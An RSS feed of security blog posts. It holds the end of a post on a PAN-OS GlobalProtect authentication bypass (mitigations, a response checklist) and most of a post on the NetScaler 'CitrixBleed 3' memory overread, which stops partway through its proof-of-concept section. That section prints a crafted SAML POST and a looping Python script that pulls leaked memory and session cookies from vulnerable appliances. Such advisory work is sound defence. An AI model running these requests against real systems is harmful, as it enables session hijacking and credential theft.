&lt;h3 id=&quot;option-3-disable-authentication-override-maximum-mitigation&quot;&gt;Option 3: Disable Authentication Override (Maximum Mitigation)&lt;/h3&gt;

&lt;p&gt;If the operational impact of disabling authentication override is acceptable (users will need to re-authenticate on every new GlobalProtect session), disabling the feature entirely removes the attack surface.&lt;/p&gt;

&lt;p&gt;Portal: Network &amp;gt; GlobalProtect &amp;gt; Portals &amp;gt; [Portal] &amp;gt; Agent &amp;gt; [Config] &amp;gt; Authentication tab, uncheck both cookie options.&lt;/p&gt;

&lt;p&gt;Gateway: Network &amp;gt; GlobalProtect &amp;gt; Gateways &amp;gt; [Gateway] &amp;gt; Agent &amp;gt; Client Settings &amp;gt; [Profile] &amp;gt; Authentication Override tab, uncheck “Accept cookie for authentication override.”&lt;/p&gt;

&lt;p&gt;This is the cleanest option from a security standpoint. It is also the one with the highest operational friction.&lt;/p&gt;

&lt;h3 id=&quot;post-exploitation-response-checklist&quot;&gt;Post-Exploitation Response Checklist&lt;/h3&gt;

&lt;p&gt;If you have confirmed or suspect exploitation occurred:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;## Immediate Actions
- [ ] Determine if authentication override cookies were enabled and certificate was shared
- [ ] Pull GlobalProtect logs for the past 30+ days
- [ ] Search logs for Cookie-type authentications from unexpected sources
- [ ] Check for authentications to local admin accounts via cookie
- [ ] Identify any VPN IPs assigned from successful cookie authentications
- [ ] Review network traffic from those VPN IPs during the exploitation window

## Containment
- [ ] Apply mitigation (dedicated cert or disable auth override) immediately
- [ ] Rotate credentials for any local accounts that appeared in forged login events
- [ ] Revoke and reissue any certificates that were shared with the authentication override feature
- [ ] Block known attacker IPs at perimeter if not already covered by threat intel feeds
- [ ] Consider revoking all active GlobalProtect sessions and requiring full re-authentication

## Investigation
- [ ] Generate tech support file from affected appliance before any changes
- [ ] Identify all VPN IPs assigned to authenticated sessions from attacker source IPs
- [ ] Review internal network logs for activity from those VPN IPs
- [ ] Check for lateral movement: authentication attempts, SMB, RDP, or other protocol activity
- [ ] Assess what internal resources are reachable from the VPN IP pool
- [ ] Determine blast radius based on network segmentation

## Recovery
- [ ] Patch to fixed PAN-OS version
- [ ] Generate new dedicated certificate for authentication override if feature is retained
- [ ] Rotate all local credentials on the appliance
- [ ] Review certificate management practices across the environment
- [ ] Verify monitoring coverage for GlobalProtect authentication events going forward
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;closing-assessment&quot;&gt;Closing Assessment&lt;/h2&gt;

&lt;p&gt;CVE-2026-0257 is a clean vulnerability in a bad location. The technical mechanism is straightforward: RSA encryption without integrity verification, using a key that is publicly accessible. The design decision that enabled it was reasonable in isolation. The certificate used for authentication override cookie encryption was also used for TLS, because at the time of configuration, that seemed like a sensible centralization of certificate management. It turns out that decision made the public key available to anyone who could complete a TLS handshake with the appliance.&lt;/p&gt;

&lt;p&gt;The four-day gap from disclosure to active exploitation, combined with CISA KEV addition and the CVSS revision from 4.7 to 7.8, tells a familiar story about edge device vulnerabilities: vendor scoring reflects the theoretical baseline. Operational reality accounts for the fact that GlobalProtect is the network perimeter. An authentication bypass in the network perimeter is not a medium-severity configuration issue. It is a door without a lock.&lt;/p&gt;

&lt;p&gt;What makes this particularly uncomfortable from a forensic standpoint is how little the attacker leaves behind. The exploitation chain is a single authenticated HTTPS POST. No malware. No persistence mechanism. No files on disk. The session it creates looks identical to a legitimate VPN session in most of your downstream monitoring, because from the firewall’s perspective, it is legitimate. The attacker chose the username, chose the MAC, chose the client hostname, and the device believed all of it.&lt;/p&gt;

&lt;p&gt;Detection depends heavily on hunting GlobalProtect authentication logs for cookie-based authentications that do not match expected behavior. The known IOCs from current in-the-wild activity are useful but not durable. A motivated attacker will vary source IPs and fake more convincing client metadata. The behavioral signal that matters most is cookie authentication to local admin accounts, which is something legitimate users almost never do and attackers almost always try.&lt;/p&gt;

&lt;p&gt;Patch if you can. If you cannot patch immediately, isolate the authentication override certificate as described above. Either action eliminates the vulnerability. Doing nothing means you are relying on your perimeter to protect your perimeter, which is a philosophical problem as much as a technical one.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;references&quot;&gt;References&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Vendor Advisory:&lt;/strong&gt; &lt;a href=&quot;https://security.paloaltonetworks.com/CVE-2026-0257&quot;&gt;CVE-2026-0257 PAN-OS: GlobalProtect Authentication Bypass Vulnerabilities&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Rapid7 ETR / Observed Exploitation:&lt;/strong&gt; &lt;a href=&quot;https://www.rapid7.com/blog/post/etr-rapid7-observed-exploitation-of-pan-os-globalprotect-authentication-bypass-vulnerability-cve-2026-0257/&quot;&gt;Rapid7 Observed Exploitation of PAN-OS GlobalProtect Authentication Bypass Vulnerability&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Proof-of-Concept:&lt;/strong&gt; &lt;a href=&quot;https://github.com/sfewer-r7/CVE-2026-0257&quot;&gt;sfewer-r7/CVE-2026-0257&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;The Hacker News:&lt;/strong&gt; &lt;a href=&quot;https://thehackernews.com/2026/05/pan-os-globalprotect-authentication.html&quot;&gt;PAN-OS GlobalProtect Authentication Bypass Under Active Exploitation&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
        <pubDate>Thu, 04 Jun 2026 00:00:00 +0000</pubDate>
        <link>https://danielgott.me/2026/06/04/gp_bypass_cve2026-0257/</link>
        <guid isPermaLink="true">https://danielgott.me/2026/06/04/gp_bypass_cve2026-0257/</guid>
        
        <category>CVE-2026-0257</category>
        
        <category>panos</category>
        
        <category>vulnerability</category>
        
        <category>forensics</category>
        
      </item>
    
      <item>
        <title>CitrixBleed 3 The Franchise Nobody Asked For (CVE-2026-3055)</title>
        <description>&lt;p&gt;On March 23, 2026, Citrix (doing business as Cloud Software Group, because enterprise rebranding is a perpetual motion machine) published security bulletin CTX696300 for CVE-2026-3055, a CVSS 9.3 memory overread vulnerability in NetScaler ADC and NetScaler Gateway. The vulnerability allows unauthenticated, remote attackers to read process memory from affected appliances, potentially disclosing active session tokens, authentication material, and other secrets that have no business leaving the box.&lt;/p&gt;

&lt;p&gt;If that sounds familiar, it should. This is the third time in roughly thirty months that Citrix NetScaler has produced a critical memory disclosure vulnerability in an authentication path. The first was CitrixBleed (CVE-2023-4966), which LockBit affiliates used to breach Boeing, ICBC, DP World, and others. The second was CitrixBleed 2 (CVE-2025-5777), which saw heavy targeting throughout 2025. CVE-2026-3055 continues the tradition with a new twist: the vulnerability lives in the SAML Identity Provider (IdP) path, and as researchers later discovered, the single CVE ID actually covers at least two distinct memory overread primitives across two different endpoints.&lt;/p&gt;

&lt;p&gt;The security community has taken to calling this one “CitrixBleed 3.” At this point, the franchise has more sequels than anyone wanted and the plot hasn’t changed.&lt;/p&gt;

&lt;p&gt;Here is the part that matters for anyone still reading: CISA added CVE-2026-3055 to the Known Exploited Vulnerabilities catalog on March 30, 2026, with a federal remediation deadline of April 2, 2026. Active exploitation is confirmed. watchTowr reported exploitation from known threat actor source IPs in their honeypot network as of March 27, 2026. The window between advisory and weaponization was four days. For CitrixBleed, it was about the same. The pattern is predictable at this point.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;the-vulnerability&quot;&gt;The Vulnerability&lt;/h2&gt;

&lt;p&gt;CVE-2026-3055 is classified as CWE-125 (Out-of-bounds Read), resulting from insufficient input validation in NetScaler ADC and NetScaler Gateway when the appliance is configured as a SAML Identity Provider. The CVSS v4.0 vector is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L&lt;/code&gt;, yielding a 9.3. Breaking that down: network-accessible, low complexity, no authentication required, no user interaction, high confidentiality/integrity/availability impact on the vulnerable system, with limited downstream impact on connected systems. The vulnerability does not require authentication. It does not require user interaction. Attack complexity is low. The only prerequisite is that the target appliance is configured as a SAML IdP, which is a common configuration for organizations using single sign-on.&lt;/p&gt;

&lt;p&gt;To understand why this matters, consider what a SAML IdP does. It is the box that handles authentication for all your other boxes. When a user wants to access a service, the service redirects them to the IdP, which validates credentials and issues a SAML assertion. Every session token, every authentication credential, every SAML assertion flows through this component’s memory. A vulnerability that reads arbitrary memory in this path is not leaking junk data. It is leaking the keys to the kingdom.&lt;/p&gt;

&lt;p&gt;Citrix described the vulnerability as “insufficient input validation leading to memory overread.” What they did not disclose, and what watchTowr subsequently demonstrated, is that CVE-2026-3055 actually encompasses at least two distinct memory overread vulnerabilities affecting two separate endpoints:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/saml/login&lt;/code&gt; - The SAML authentication endpoint&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/wsfed/passive?wctx&lt;/code&gt; - The WS-Federation passive authentication endpoint&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Both vulnerabilities exploit the same fundamental weakness: the NetScaler’s C-based XML and parameter parsing code fails to properly validate input boundaries, resulting in reads into uninitialized or previously-freed memory. The data from those reads is then helpfully base64-encoded and returned to the attacker in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;NSC_TASS&lt;/code&gt; cookie.&lt;/p&gt;

&lt;p&gt;A companion vulnerability, CVE-2026-4368 (CVSS 7.7), was disclosed in the same advisory. This is a race condition (CWE-362) leading to user session mixup, affecting only build version 14.1-66.54 when configured as a Gateway or AAA virtual server. While less severe, it can result in one authenticated user’s session being exposed to another user, which is its own flavor of bad.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;timeline&quot;&gt;Timeline&lt;/h2&gt;

&lt;p&gt;The timeline here moves fast, but the underlying pattern has been in motion for years.&lt;/p&gt;

&lt;ul class=&quot;timeline&quot;&gt;
  &lt;li&gt;&lt;strong&gt;March 23, 2026:&lt;/strong&gt; Citrix publishes security bulletin CTX696300 disclosing CVE-2026-3055 and CVE-2026-4368. Citrix states the vulnerability was identified internally through their own security review process. No known exploitation at time of disclosure.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;March 24, 2026:&lt;/strong&gt; Rapid7 publishes an Emergent Threat Response, noting the similarity to CitrixBleed and CitrixBleed 2 and assessing that exploitation could begin as soon as exploit code becomes available. Arctic Wolf echoes the assessment.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;March 27, 2026:&lt;/strong&gt; Defused Cyber reports active reconnaissance against NetScaler appliances in their honeypot network. Attackers are probing &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/cgi/GetAuthMethods&lt;/code&gt; to enumerate enabled authentication flows, determining which appliances are configured as SAML IdPs.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;March 28, 2026:&lt;/strong&gt; watchTowr publishes Part 1 of their technical analysis, detailing the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/saml/login&lt;/code&gt; memory overread. Shadowserver data shows approximately 29,000 NetScaler and 2,250 Gateway instances exposed to the internet.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;March 29, 2026:&lt;/strong&gt; watchTowr publishes Part 2, revealing the second memory overread primitive via &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/wsfed/passive?wctx&lt;/code&gt;. They confirm active exploitation from known threat actor source IPs in their honeypot network as of March 27th. watchTowr also discloses that they found additional memory overread vulnerabilities during their analysis, which they reported to Citrix’s PSIRT.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;March 30, 2026:&lt;/strong&gt; CISA adds CVE-2026-3055 to the Known Exploited Vulnerabilities catalog. Federal agencies given a remediation deadline of April 2, 2026. BleepingComputer confirms active exploitation, citing watchTowr’s findings. NHS England’s National CSOC issues guidance assessing that exploitation will continue.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Four days from advisory to confirmed in-the-wild exploitation. For a vulnerability class that has already been weaponized twice against this exact product, that turnaround should surprise absolutely nobody.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;impacted-versions-and-patch-status&quot;&gt;Impacted Versions and Patch Status&lt;/h2&gt;

&lt;h3 id=&quot;affected-systems&quot;&gt;Affected Systems&lt;/h3&gt;

&lt;p&gt;CVE-2026-3055 affects all customer-managed NetScaler ADC and NetScaler Gateway deployments configured as a SAML Identity Provider. Citrix-managed cloud services and Adaptive Authentication instances have been updated automatically and are not affected.&lt;/p&gt;

&lt;p&gt;The affected version matrix:&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Release Train&lt;/th&gt;
      &lt;th&gt;Affected Versions&lt;/th&gt;
      &lt;th&gt;Fixed Version&lt;/th&gt;
      &lt;th&gt;Status&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;NetScaler ADC / Gateway 14.1 (60.x train)&lt;/td&gt;
      &lt;td&gt;Before 14.1-60.58&lt;/td&gt;
      &lt;td&gt;14.1-60.58&lt;/td&gt;
      &lt;td&gt;Available&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;NetScaler ADC / Gateway 14.1 (66.x train)&lt;/td&gt;
      &lt;td&gt;Before 14.1-66.59&lt;/td&gt;
      &lt;td&gt;14.1-66.59&lt;/td&gt;
      &lt;td&gt;Available&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;NetScaler ADC / Gateway 13.1&lt;/td&gt;
      &lt;td&gt;Before 13.1-62.23&lt;/td&gt;
      &lt;td&gt;13.1-62.23&lt;/td&gt;
      &lt;td&gt;Available&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;NetScaler ADC 13.1-FIPS&lt;/td&gt;
      &lt;td&gt;Before 13.1-37.262&lt;/td&gt;
      &lt;td&gt;13.1-37.262&lt;/td&gt;
      &lt;td&gt;Available&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;NetScaler ADC 13.1-NDcPP&lt;/td&gt;
      &lt;td&gt;Before 13.1-37.262&lt;/td&gt;
      &lt;td&gt;13.1-37.262&lt;/td&gt;
      &lt;td&gt;Available&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;NetScaler 13.0&lt;/td&gt;
      &lt;td&gt;All versions&lt;/td&gt;
      &lt;td&gt;None&lt;/td&gt;
      &lt;td&gt;End-of-life, no patch available&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;CVE-2026-4368 carries an additional constraint: it only affects build version 14.1-66.54 specifically. Organizations on earlier 14.1 builds that have not yet advanced to 14.1-66.54 are not exposed to that particular flaw, but they remain in scope for CVE-2026-3055 if they fall below 14.1-66.59.&lt;/p&gt;

&lt;h3 id=&quot;how-to-check-if-you-are-affected&quot;&gt;How to Check If You Are Affected&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Step 1: Identify your build version.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;SSH into your NetScaler and run:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;show ns version
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Compare the reported build against the fixed version table above. If you are below the fixed build for your release train, proceed to Step 2.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 2: Confirm SAML IdP configuration (CVE-2026-3055).&lt;/strong&gt;&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;show authentication samlIdPProfile
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;If output is returned (anything other than “No entries found”), the appliance is configured as a SAML IdP and is vulnerable until patched. An alternative check via the running configuration:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;show runningConfig | grep &quot;add authentication samlIdPProfile&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Step 3: Confirm Gateway/AAA configuration (CVE-2026-4368).&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;For CVE-2026-4368 (only relevant if running build 14.1-66.54 specifically), check for:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;show vpn vserver
show authentication vserver
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;important-notes&quot;&gt;Important Notes&lt;/h3&gt;

&lt;p&gt;NetScaler 13.0 is end-of-life and will not receive a security update. If you are running 13.0, migration to a supported version is not optional. It is mandatory.&lt;/p&gt;

&lt;p&gt;Note the two parallel release trains within the 14.1 branch: 14.1-60.x and 14.1-66.x. Citrix lists fixed versions for both. Organizations should upgrade to whichever fixed build corresponds to their current release train, or move to the latest available build. The practical takeaway: if you are on 14.1 and below either 14.1-60.58 or 14.1-66.59 (depending on your train), you are affected. When in doubt, run &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;show ns version&lt;/code&gt; from the CLI and compare against the fixed version table above.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;proof-of-concept-details&quot;&gt;Proof of Concept Details&lt;/h2&gt;

&lt;p&gt;watchTowr published detailed technical analysis and a detection artifact generator (not a weaponized exploit, but functionally close) across two blog posts on March 28-29, 2026. No formal “weaponized” PoC was released by the initial advisory date, but the information watchTowr published provides sufficient technical detail for a competent attacker to reproduce exploitation.&lt;/p&gt;

&lt;h3 id=&quot;vulnerability-check-from-watchtowr&quot;&gt;Vulnerability Check (from watchTowr)&lt;/h3&gt;

&lt;p&gt;The simplest check for whether an appliance is vulnerable:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;For &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/saml/login&lt;/code&gt; endpoint:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Send a POST request to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/saml/login&lt;/code&gt; with a minimal &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SAMLRequest&lt;/code&gt; payload that omits the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AssertionConsumerServiceURL&lt;/code&gt; field:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;POST /saml/login HTTP/1.1
Host: &amp;lt;target&amp;gt;
Content-Length: 336

SAMLRequest=PHNhbWxwOkF1dGhuUmVxdWVzdCB4bWxuczpzYW1scD0idXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOnByb3RvY29sIiANCnhtbG5zOnNhbWw9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDphc3NlcnRpb24iIA0KSUQ9Il8xMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTEiIA0KVmVyc2lvbj0iMi4wIj4NCjxzYW1sOklzc3Vlcj5hPC9zYW1sOklzc3Vlcj4NCjwvc2FtbHA6QXV0aG5SZXF1ZXN0Pg%3D%3D
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;If the response returns an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;NSC_TASS&lt;/code&gt; cookie: &lt;strong&gt;vulnerable&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;If the response returns &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Parsing of presented Assertion failed; Please contact your administrator&lt;/code&gt;: &lt;strong&gt;patched&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;For &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/wsfed/passive?wctx&lt;/code&gt; endpoint:&lt;/strong&gt;&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;GET /wsfed/passive?wctx HTTP/1.1
Host: &amp;lt;target&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;If the response returns an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;NSC_TASS&lt;/code&gt; cookie: &lt;strong&gt;vulnerable&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;If the response returns a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;302&lt;/code&gt; redirect to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/&lt;/code&gt; with no &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;NSC_TASS&lt;/code&gt; cookie: &lt;strong&gt;patched&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;detection-artifact-generator&quot;&gt;Detection Artifact Generator&lt;/h3&gt;

&lt;p&gt;watchTowr released a Python script designed to help defenders identify vulnerable hosts. It repeatedly sends requests to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/wsfed/passive?wctx&lt;/code&gt; endpoint and parses the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;NSC_TASS&lt;/code&gt; cookie for leaked memory content:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;base64&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;requests&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;urllib3&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;urllib3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;disable_warnings&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;try&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;resp&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;requests&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;https://&amp;lt;host&amp;gt;/wsfed/passive?wctx&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;verify&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;False&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;allow_redirects&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;False&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;tass&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;resp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cookies&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&apos;NSC_TASS&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;None&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tass&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;is&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;None&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;continue&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;tassText&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;base64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;b64decode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;tass&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;memIdx&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tassText&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;find&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&apos;wctx=&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;memIdx&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;bled&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tassText&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;memIdx&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:]&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;cookiePos&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bled&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;find&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&apos;Cookie&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cookiePos&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
                &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;bled&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cookiePos&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:].&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;decode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&apos;ascii&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;errors&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&apos;ignore&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
